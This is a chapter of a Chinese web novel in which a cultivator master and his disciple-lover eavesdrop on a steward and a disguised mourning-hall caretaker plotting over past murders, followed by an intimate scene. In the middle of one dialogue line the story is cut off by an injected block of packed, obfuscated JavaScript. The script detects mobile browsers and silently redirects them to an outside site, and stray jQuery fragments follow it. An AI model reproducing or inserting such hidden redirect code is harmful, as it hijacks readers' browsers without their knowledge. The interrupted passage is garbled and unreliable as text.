74. 灵堂的守灵人

作品:《新雪陈酒

    “对了,”李持盈突然想起来说:“管信身体似乎有很大的问题,你上次看就看出他的问题来。那你能解决他这个病吗?”


    “诶?”叔孙穆奇怪的看着他,“怎么突然问起这个?还问我能不能治好?”


    李长生淡淡地插话说:“他答应帮人家问问这病情,想着你医术高,所以来问你。”


    叔孙穆:“……”


    李持盈:“……”


    叔孙穆有些神奇地看着他:“你这是在吃醋吧?”


    “……”


    李持盈眨了眨眼睛,带着好奇的目光看过去。


    有生之年能看到长生吃醋,简直太神奇了。


    李长生夹了一筷子菜放李持盈碗里,阻止他继续探究的想法,又看向叔孙穆:“你只说能不能治?”


    “咳。”叔孙穆清了一下嗓子,正色道:“这我得看过之后才知道,我虽然会医术,但也并不是样样精通。”


    李长生点了下头,“那你下午的事有了,记得去看。”


    “什么意思?”叔孙穆看他:“你这语气听起来是让我一个人去?那你俩呢?”


    说着说着,他的目光陡然变得奇怪了起来,开始在两人间游移,盯着他,一幅“你怎么是这样的人”的表情。


    “我和你一起去,叔孙。”李持盈打断他跑到天边的瞎想。


    叔孙穆喜笑颜开,笑眯眯地说道:“这才是兄弟嘛!可见还是周兄讲义气,不像某人……哼哼!”


    被抨击的压根没有那种想法的某人:“……”


    用完午饭叔孙和李持盈去给管信看病,而李长生则有事要办,三人暂且分头行动。


    看着李长生离开的身影,叔孙叹道:“看到周兄你和长生在一起,我竟然毫不意外。”


    “是么?其实我自己都有点意外。”李持盈有点不解,“我之前从来没想过这种事,谁知道突然间就……变成这样了。”


    “你看,你也说了是之前。”叔孙穆促狭地看着他:“从初见开始,我就觉得你对长生不一般。不过,话说回来,你当师父的对徒弟也太纵容了吧?”


    叔孙穆想起小时候自己住在宫里时,也有一些教文习武的师傅们,他伯父把他当皇子教养,但也没见那些师傅们这么纵容他。


    李持盈挑眉:“有吗?”


    叔孙穆无语:“……”


    他现在知道李长生是怎么把他师父睡了的,人善被人欺,古人诚不我欺!


    “失敬!”叔孙抱拳。


    李持盈哈哈一笑,说:“顺心而行罢了,只要不违我道心,没有什么是我不能为他做的。”


    “此心光明,亦复何言?”


    “此心光明,亦复何言。”


    到了管家,是黄管事出来迎接他俩的,黄管事对两人的去而复返没什么疑问,当听闻两人的来意之后,态度更是殷勤了几分。


    之前看管信,只是远距离看了看,并没有下功夫去看。现在仔细看过后,叔孙穆的眉头不自觉的皱了起来。


    “这毒倒也厉害,没想到中了这毒还有人能活下来。”叔孙穆感慨说。


    管信苦笑了一下,指着他旁边的周进说:“多亏了周进,是他救了我才侥幸没死。”


    李持盈这才注意到他旁边的周进。


    ……周?


    他想起来之前长生说,他曾派人进入了管家,现在在管信身边做事,莫非就是周进?


    叔孙穆点了下头,说:“这毒有点麻烦,我可能要回洛阳翻翻医术,和其他人参详参详。”


    他又不像病书生专攻毒药,管信五年没治好的顽疾,他当然也不能立刻就治好。


    这毒自然比不上上次李持盈所中之毒,叔孙穆还剩最后一丸碧落丹,但没必要用在萍水相逢的管信身上。


    “我可以给你开一副解毒固本的方子,不过治标不治本,先暂时吃着吧。”叔孙穆道。


    听闻此言,管信也不失望,或许也可以说他已经失望太多次了,心里再掀不起波澜。


    管信招手让周进拿笔墨来。


    “早晚各一,按时吃就好。”叔孙穆将方子递给周进,说。


    不管心里怎么想的,面上管信还是难得笑了一下,向两人道谢。


    李持盈适时提出想在贵府借宿的要求,管信对这位周道长性格品行十分有好感,又兼曾出手帮他压制病痛,立时就答应了下来。


    对此,叔孙也肉眼可见的开心了起来。


    终于不用住苏秀玉的知府衙门了,他现在住官府里的感觉就跟贼进了大牢差不多,心里十分别扭。


    都怪李长生!


    等李长生回来后,叔孙穆笑眯眯地跟他宣布了这个消息。


    而后,好整以暇地开始盯他的反应。


    谁知李长生平淡无波的“哦”了一声,然后……就没然后了。


    ?这跟说好的不一样啊!


    叔孙震惊。


    “这应该是我师父的决定。”李长生看了眼旁边含笑不语的李持盈,“正好我也要在这府里看看还有什么是我们没注意到的点。”


    叔孙拜服。


    李长生道:“管家这三起案子一定有什么关联,只是我们还不清楚。”


    “你是个天生的破案断狱高手,要不你还是去大理寺谋个职吧?我向大理寺卿举荐你。”叔孙穆道。


    李持盈莞尔。


    屋中寂静无声,只有幽微烛火幽幽跳跃,火光映在李长生的侧颜上,淡漠冷肃。


    李持盈放下手中书卷,抬头瞥了眼,李长生还在打坐入定中。


    他走过去,将附近的烛火挑的更亮,看见外面的天色完全黑沉下来,屋外也没有了之前的人声走动。


    他估摸着长生该从入定中醒来了,没再去看什么经卷,而且挑了一个近处的位置坐了下来,静静地看着。


    大约过了一刻钟,李长生从入定中睁开眼,第一眼就看到他师父,微微疑惑:“怎么了?”


    “没什么,想着你快打坐完了。”李持盈走过去俯身在他唇上吻了吻,又轻轻咬了下。


    分开,眸中流光闪过,“今晚是有什么事要去做吗?”


    李长生拉过他的手,往自己身前用力。李持盈也不拒绝,也没有什么为人师的包袱,顺着他的力道,屈膝跨坐在他腿上。


    两人距离瞬间消弭。


    李长生握着他细腻如玉的手指,反复把玩,并不说话。


    这种留恋不舍的情绪在李长生身上并不常见,猛一看来,李持盈竟察觉出些微撒娇的意味。


    李持盈眸光一动,低头吻了上去,另一只手向下伸去,还未碰到就被突然截住。


    两只手都受制于人,李持盈抬起头促狭地看着他,轻轻“嗯?”了一声。


    李长生无奈:“别闹。”


    “已经快二更了。”他示意窗外的天色不早了。


    李长生轻轻叹气:“温香软玉在怀,不想动。”


    “那不去了?”


    “不行。”


    李持盈就笑,他提议:“我跟你一起去?”


    些许迟疑,李长生想起上次在开元寺的事。


    “好了,就这样办。我跟你一起去。”李持盈不等他反对,直接拍板决定。


    夜色沉沉,冷风吹动庭中树木,呼呼作响。


    不知过了多久,不远处已经熄了灯的房间的房门被轻轻打开,一位神色鬼祟的人影从房中悄无声息地探出。


    察觉庭中无人,才迈步而出,回身掩上门扉,遛着墙根出了院门。


    李持盈和李长生从阴影处走出来,互视一眼,李长生轻点一下头,“跟上。”


    李持盈纵身跃上房顶,李长生紧随其后。


    看着郑元一路向前院的灵堂而去,李持盈觉得很神奇,难道长生真像叔孙所说的那样,是个天生的破案高手?


    郑元走到灵堂门口,左右又看了一遍,没看到人影,才闪身进入。


    灵堂里只有一个又老又瘦弱的守灵人坐在棺木前,头一点一点的好像在打盹。


    一声轻咳惊醒了守灵人,迷迷糊糊的醒来,看见大管事郑元半夜三更的出现在灵堂,守灵人竟也没有露出意外的神色。


    守灵人打了个哈欠,半耷着眼看他:“你怎么来了?我记得跟你说过,没事不要跟我见面。”


    声音并不严厉,仔细听甚至有些不符合这老朽面容的清亮婉柔,但郑元并不敢因此造次。


    郑元垂头回道:“小的也是迫不得已。”


    “哦?说说吧,我听听是什么事?”守灵人倒了杯冷茶喝了,神思也清醒了不少。


    “今天早上的时候楚秋服毒自杀了,知府大人来府里调查,黄忠指认我说昨天中午的时候看见我和楚秋私下见面,知府就让人去查,我怀疑他已经查到我身上了。”刚开始说,郑元还能控制,说到最后的时候,郑元明显急了神情甚至激动起来。


    然而守灵人不为所动地看着他:“苏秀玉?他找你说什么了?”


    “……还没有。”


    “那不就得了,他都没找你,不就说明他没查到你吗?”守灵人冷眼看着他:“你这着急忙慌的过来,就不怕引起人注意?”


    “这……”郑元微迟疑:“应该不会吧?我来的时候看过了,没有人,才溜过来的。”


    守灵人竖起手指,在唇边贴了贴,脚步悄无声息的来到门口,猛然拉开灵堂的门——


    门外一个人也无,庭中也无遮蔽物,一目了然。


    守灵人左右看了看,只有风吹过的响声。


    郑元也跟过来,见此就说:“您会不会想太多了?这个时间点谁会跟踪我啊?”


    “小心点总不会错的,小心才能使得万年船呐。”守灵人合上房门,微叹说:“不然你以为那个叫谢玉的为什么会找来梁州这儿?”


    门外李持盈、李长生两人从屋檐上翻下,身形轻盈无比,没有丝毫声音发出。


    李长生拉着他继续在暗处细听。


    “说是这样说,要是知府大人查到我头上来怎么办?”郑元对自己的安危更为上心,压低声音道:“昨天去威胁姓楚的那丫头可是我去的,她兄弟那也是我去办的,万一查出来我就是死路一条!”


    “慌什么!你做的那么隐秘,苏秀玉能查的出来?”守灵人轻斥道:“只要他查不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787393|154186||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出来,你害怕什么?”


    “我……”


    “你现在害怕了,当年管平的事你怎么不害怕?”苍老的面容上一片阴沉,面无表情的盯着他:“还是说管信没死,让你胆怯想退缩了?”


    郑元连忙表忠心道:“小的绝没有这种想法,小的绝对为您的命令是从!”


    守灵人冷哼一声,提醒他:“别忘了,杨开和魏老四都刚死没几天呢。”


    “小的绝对不敢!”他的头埋的更低了。


    守灵人重回灵前坐下,背对他道:“你若真的害怕,我也可以现在送你离开。不过你要是离开了,在苏秀玉那肯定就变成嫌犯,被官府下令缉拿,你想好了。”


    郑元脸色几变,最终还是狠下心,“我想出去,远离梁州城,只要出了梁州城,就算被官府通缉也无所谓了。”


    不是他觉得苏秀玉一定会发现他做的那些事,怕就怕眼前这人,他比其他人都要清楚,现在这个看起来苍老毫无威胁的老头儿是多可怕的一个人。


    所以,即便是为了远离这人,被通缉他也认了,出了梁州城伪造一个身份文牒,从此天高皇帝远,再也不用想着这事了。


    “好吧,既然你已经决定要走,那我也不强行挽留了。”守灵人慢腾腾地起身,朝身后看了他一眼:“你跟我来吧。”


    郑元跟着他到了不远处守灵人住的偏房处,守灵人走进屋内,不一会儿抹黑从屋中拿了两样东西给他。


    “这个牌子你明早拿给城门的守卫看,他会放你出城的。”守灵人指了指一块木牌,又指着另外一个说:“那个是身份文牒,你出了梁州城可以用。”


    郑元半信半疑的翻了翻,看过没问题,连忙千恩万谢的躬身谢过。


    守灵人无声冷笑了一下,弯腰背着手往灵堂溜达回去,声音淡淡的传来:“你走吧,不用再见了。将来不管如何,不要把我供出来就行。


    跟着郑元回到他住的屋外,郑元进了屋后就没了动静,屋内连灯都没有点。


    “现在你要怎么做?”好大一会儿过去李持盈望向身边人。


    李长生垂眸思考,“您觉得郑元会趁夜离开管家吗?”


    “不会吧,苏秀玉还没查到他,他暂时还很安全,没有连夜离开的必要。”李持盈提议:“再等等看?”


    李长生颔首。


    又等了两刻钟,郑元屋中还是没动静,李长生才确定此人没有半夜偷溜的打算,这才跟着李持盈回了住处。


    今夜收获不小,李长生回了屋寻了笔墨,执笔开始在纸上写些什么。


    李持盈走过来,抱臂斜倚在桌边饶有兴趣地看了会儿,笑道:“你这是打算螳螂捕蝉黄雀在后吗?”


    “不,”李长生纠正说:“我这是借刀杀人。”


    写完搁下笔,他将纸折了折,走到李持盈面前,在他唇上吻了下,“我出去一趟,等我回来。”


    李持盈歪了下头,示意他去。


    来去不过一刻钟,李长生回来时,屋内竟然已经黑了灯,他顿时有些诧异。


    难道他师父已经睡了?


    带着这种疑惑李长生走近,推门进去的瞬间,他陡然看见一个被朦胧月光照亮的身形,还不等他反应,就被此人准确无误的凑过来吻住。


    李长生就这样原地呆愣住了。


    李持盈脚尖一勾,门顺着力道缓缓掩上,月光渐次消失。


    黑暗中,手指轻轻抚上眼前之人的腰间,片刻过后,腰带缓缓滑落在地。


    唇边气息动了动,李长生听见他说:“抱我过去。”


    一瞬间,李长生的呼吸变得灼热起来,微微向前消弭两人唇间距离,双手落在李持盈腰间,继而向下,引导他将两腿盘在自己腰侧。


    抱起来的瞬间,李持盈差点仰倒,连忙不敢再在这人身上乱动,只攀着对方肩膀细细接吻。


    等他后背碰上墙壁时,他心中一空,连忙拍了拍李长生肩膀,勉强地笑了下:“倒也不用一上来就用这么高难度的姿势吧?”


    真要这么搞,估计他明天早上就起不来床了。


    他放软了话:“我昨天一晚上没睡,现在已经半夜了,你今晚也不打算让我睡了吗?”


    “……”李长生咬了一下他唇角,放他下来:“那你还招我?”


    李持盈度过被迫熬夜的危机,又变了一副脸,笑眯眯地道:“你不是我的人吗?我的人我不能吻?”


    “。”李长生叹气,走过去点房中的灯盏:“随您高兴。”


    幽幽昏黄的烛火摇曳,映在李长生冷玉般的侧颜上,像是添了一层细腻的瓷釉。


    李持盈愣了愣,直到李长生看过来才眨了下眼,回神。


    他的手再次抚上李持盈的腰间,凑到他面前轻声说:“早上说的想试试吗?我帮你。”


    李长生暗沉沉地目光落到他泛着一层水光的唇角,抬手拨了拨,半晌才开口,“有点不舍得,不想折辱您。”


    听见他比平日低哑的声音,和略急促的呼吸,李持盈笑了下,抬眼望进他的目光深处,“我说过没关系的,你和我是平等的,你不仅是我徒弟,也是我的道侣,所以没关系。”